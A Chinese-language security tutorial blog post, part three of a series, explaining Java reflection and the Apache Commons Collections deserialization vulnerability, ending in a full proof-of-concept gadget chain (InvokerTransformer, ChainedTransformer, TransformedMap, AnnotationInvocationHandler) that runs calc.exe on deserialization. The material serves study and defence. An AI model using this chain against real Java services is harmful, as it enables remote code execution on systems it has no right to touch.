反序列化渗透与攻防(三)之Apache Commons Collections反序列化漏洞

Java Apache Commons Collections反序列化漏洞

项目地址:Collections – Download Apache Commons Collections

本地复现环境:

  • jdk 1.7.0_80
  • IDEA Project Structrure——>Projrct设置成1.7
  • IDEA Project Structrure——>Moudles设置成1.7
  • Settings——>Build,Execution,Deployment——>Compiler——>Java
    Compiler——>Target bytecode version设置成7
  • Apache Commons Collections ≤ 3.2.1

Apache Commons Collections介绍

Apache Commons Collections 是一个扩展了Java标准库里集合类Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发

Commons Collections 实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入

反序列化渗透与攻防(三)之Apache Commons Collections反序列化漏洞_第1张图片

Commons Collections:

  • Bag interface for collections that have a number of copies of each
    object
  • BidiMap interface for maps that can be looked up from value to key as
    well and key to value
  • MapIterator interface to provide simple and quick iteration over maps
  • Transforming decorators that alter each object as it is added to the
    collection
  • Composite collections that make multiple collections look like one
  • Ordered maps and sets that retain the order elements are added in,
    including an LRU based map
  • Reference map that allows keys and/or values to be garbage collected
    under close control Many comparator implementations
  • Many iterator implementations
  • Adapter classes from array and enumerations to collections
  • Utilities to test or create typical set-theory properties of
    collections such as union, intersection, and closure

Java反射机制Reflection

首先我们来了解一下Java代码为什么能够跑起来:

1、首先我们程序员写出源码
2、编译器(javac)将源码编译为字节码.class文件
3、各平台JVM解释器把字节码文件转换成操作系统指令

反射机制是java的一个非常重要的机制,一些著名的应用框架都使用了此机制,如struts、spring、hibernate、android app界面等等

java.lang.Class它是java语法的一个基础类,用于描述一个class对象。在文件系统中,class以文件的形式存在。在运行的JVM中,*.class文件被加载到内存中成为一个对象,该对象的类型就是java.lang.Class

什么是反射?

在运行状态中,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取信息以及动态调用对象的方法的功能就称为java语言的反射机制。也就是说,虽然我们获取不到该类的源代码,但是通过该类的.class文件能反射(Reflect)出这些信息

通俗点讲,通过反射,该类对我们来说是完全透明的,想要获取任何东西都可以。

想要使用反射机制,就必须要先获取到该类的字节码文件对象 .class,java.lang.Class类表示 .class 字节码文件对象。通过字节码文件对象,就能够通过该类中的方法获取到我们想要的所有信息(方法、属性、类名、父类名、实现的所有接口等等),每一个类对应着一个字节码文件也就对应着一个Class类型的对象,也就是字节码文件对象。

获取.class字节码文件对象

获取字节码文件对象的三种方式,有了字节码文件对象才能获得类中所有的信息,我们在使用反射获取信息时,也要考虑使用下面哪种方式获取字节码对象合理,视不同情况而定

//方法一
Class clazz1 = Class.forName("my.Student");//通过Class类中的静态方法forName,直接获取到一个类的字节码文件对象,此时该类还是源文件阶段,并没有变为字节码文件。包名为 my,类名为 Student
//方法二
Class clazz2 = Student.class;  //当类被加载成.class文件时,此时Student.java类变成了Student.class,该类处于字节码阶段
//方法三
Student s=new Student();    //实例化Student对象
Class clazz3 = s.getClass(); //通过该类的实例获取该类的字节码文件对象,该类处于创建对象阶段

获取该.class字节码文件对象的详细信息

当我们得到一个.class字节码文件对象,我们可以得到以下信息:

  • 类名 (含package路径)
  • 函数 (名称,参数类型,返回值)
  • 域 (名称,类型)
  • 实现的接口 (interfaces)

使用 java.lang.reflect.*下的类来实现

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.text.DateFormat.Field;
 
public class main 
	public static void main(String[] args) throws Exception{
		Object obj=new Student();  //Student实例
		Class cls=obj.getClass();  //得到Student字节码对象
	
		//通过函数名和函数参数,得到函数
		String methodName="setId";           //函数名字
		Class[] par={int.class,String.class};  //函数参数
		Method m=cls.getMethod(methodName, par);   //返回函数
		//调用method
		Object[]  paramters={123,"haha"};   //传递参数
		m.invoke(obj,paramters);       //执行函数
		
		cls.getPackage();  //获取包信息
		String str=cls.getSimpleName();   //Student ,获得该类的名字,不包含包名
		String str2=cls.getName();       //my.Student,获得该类的名字,包含包名
		Object obj2=cls.newInstance();    //创建一个实例,要求有一个不带参数的构造函数 
		int modified=cls.getModifiers();  //获取cls对象的类修饰符
		Class[] interfaces=cls.getInterfaces();  //获取实现的接口集合
		Constructor[]  con=cls.getConstructors();  //获取构造函数的集合
		Method[]  methods=cls.getMethods();  //获取函数列表
		cls.getDeclaredAnnotations();  //获取私有函数(protected和private修饰的)
		java.lang.reflect.Field[]  fields=cls.getFields();  //获取成员变量列表
		cls.getDeclaredField(str2);  //获取私有变量(protected和private修饰的)
	}
}

通过反射机制执行函数

Apache Commons Collections中已经实现了一些常见的 Transformer,其中的 InvokerTransformer 接口实现了反射链,可以通过Java的反射机制来执行任意命令。于是我们可以通过InvokerTransformer的反射链获得Runtime类来执行系统命令

test1函数可以看成是普通执行函数的方式,test2函数可以看成是通过反射机制执行函数

import java.io.*;

public class Reflect {
    public static void main(String[] args) throws IOException {
        test2();

    }

    public static void test1() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    public static void test2(){
        try {
            //初始化Runtime类
            Class clazz = Class.forName("java.lang.Runtime");
            // 调用Runtime类中的getRuntime方法得到Runtime类的对象
            Object rt = clazz.getMethod("getRuntime").invoke(clazz);
            //再次使用invoke调用Runtime类中的方法时,传递我们获得的对象,这样就可以调用
            clazz.getMethod("exec",String.class).invoke(rt,"calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

运行代码,可以看到,执行了 calc.exe 的命令

反序列化渗透与攻防(三)之Apache Commons Collections反序列化漏洞_第2张图片

Apache Commons Collections 漏洞原理

Commons Collectionss漏洞是2015年黑客Gabriel Lawrence和Chris Frohoff发
现的,影响WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等大型框架

Commons Collections 漏洞中几个关键的类:

  • InvokeTransformer //利用Java反射机制来创建类实例
  • ChainedTransformer //实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform()方法
  • ConstantTransformer //transform()返回构造函数的对象
  • TransformedMap

在上面的 InvokerTransformer反射链我已经介绍了如何通过修改Value值来触发执行反射链来执行任意命令

但是目前的构造还需要依赖于修改Map中的Value值去触发调用反射链,我们需要想办法通过readObject()直接触发

如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map参数是可控的,就可以实现我们的攻击目标了

于是,我们找到了这个类:AnnotationInvocationHandler ,这个类有一个成员变量 memberValuesMap类型,并且在重写的 readObject() 方法中有 memberValue.setValue() 修改Value的操作。简直是完美!

于是我们可以实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化,提交给未做安全检查的Java应用。Java应用在进行反序列化操作时,执行了readObject()函数,修改了Map的Value,则会触发TransformedMap的变换函数transform(),再通过反射链调用了Runtime.getRuntime.exec(“calc”) 命令,最终就可以执行我们的任意代码了,一切是那么的天衣无缝

调用链路:

反序列化渗透与攻防(三)之Apache Commons Collections反序列化漏洞_第3张图片

poc构造思路

1、InvokeTransformer //反射执行代码
2、ChainedTransformer //链式调用,自动触发
3、ConstantTransformer //获得对象
4、TransformedMap //元素变化执行transform,setValue——checkSetValue
5、AnnotationInvocationHandler //readObject 调用Map的setValue

Payload调用流程

1、对利用类AnnotationInvocationHandler进行序列化,然后交给Java程序
反序列化
2、在进行反序列化时,会执行readObject()方法,该方法会用setValue对成
员变量TransformedMap的Value值进行修改
3、value修改触发了TransformedMap实例化时传入的参数InvokerTransformer的checkSetValue——transform()方法
4、放到Map里面的是InvokeTransformer数组,transform()方法被依次调用
5、InvokerTransformer.transform()方法通过反射,调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令

反序列化渗透与攻防(三)之Apache Commons Collections反序列化漏洞_第4张图片

反序列化漏洞payload

InvokerTransformer反射触发

我们新建一个TranTest1类:

import org.apache.commons.collections.functors.InvokerTransformer;

/**
 * InvokerTransformer反射触发
 */
public class TransTest1 {
    public static void main(String[] args)  {
        // 创建实例 传入构造方法参数 (函数名 参数类型 参数值)
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"Calc.exe"}
        );

        try {
            // 通过反射机制依次获得Runtime类 getRuntime构造方法 最后生成Runtime实例
            // Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
            Object input = Runtime.getRuntime();
                    // 执行transform函数
            invokerTransformer.transform(input);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

代码运行后的效果如下:

反序列化渗透与攻防(三)之Apache Commons Collections反序列化漏洞_第5张图片
但是这种方法属于静态触发,我们需要的是自动触发

ChainedTransformer遍历触发

我们新建一个TranTest2类:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

/**
 * ChainedTransformer遍历触发
 *
 *   等同于 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");
 *
 */
public class TransTest2 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                // 获得Runtime类对象
                new ConstantTransformer(Runtime.class),
                // 传入Runtime类对象 反射执行getMethod获得getRuntime方法
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}
                ),
                // 传入getRuntime方法 反射执行invoke方法 得到Runtime实例
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, null }
                ),
                // 传入Runtime实例 执行exec方法
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"Calc.exe"})
        };

        // ChainedTransformer
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(null);
    }
}

代码运行后效果如下:

反序列化渗透与攻防(三)之Apache Commons Collections反序列化漏洞_第6张图片

invokerTransformer.transform()方法通过反射调用函数来执行系统命令

现在我们来构造一个完整的攻击链

现在我们新建一个Poc类:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

/**
 * 封装为TransformedMap
 */
public class Poc {
    public static void main(String[] args) {
        try {
            Transformer[] transformers = new Transformer[]{
                    // 获得Runtime类对象
                    new ConstantTransformer(Runtime.class),
                    // 传入Runtime类对象 反射执行getMethod获得getRuntime方法
                    new InvokerTransformer(
                            "getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", null}
                    ),
                    // 传入getRuntime方法对象 反射执行invoke方法 得到Runtime实例
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, null}
                    ),
                    // 传入Runtime实例 执行exec方法
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new Object[]{"calc.exe"})
            };

            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

            Map innermap = new HashMap();
            innermap.put("value", "value");
            Map outermap = TransformedMap.decorate(innermap, null, chainedTransformer);
            // 构造包含恶意map的AnnotationInvocationHandler对象
            Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor cst = cl.getDeclaredConstructor(Class.class, Map.class);
            cst.setAccessible(true);
            Object exploitObj = cst.newInstance(Target.class, outermap);

            // 序列化
            FileOutputStream fos = new FileOutputStream("payload.bin");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(exploitObj);
            oos.close();

            // 反序列化
            FileInputStream fis = new FileInputStream("payload.bin");
            ObjectInputStream ois = new ObjectInputStream(fis);
            Object result = ois.readObject();
            ois.close();
            System.out.println(result);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

代码运行后的效果:

反序列化渗透与攻防(三)之Apache Commons Collections反序列化漏洞_第7张图片

你可能感兴趣的:(Web漏洞,apache,网络安全,安全,网络)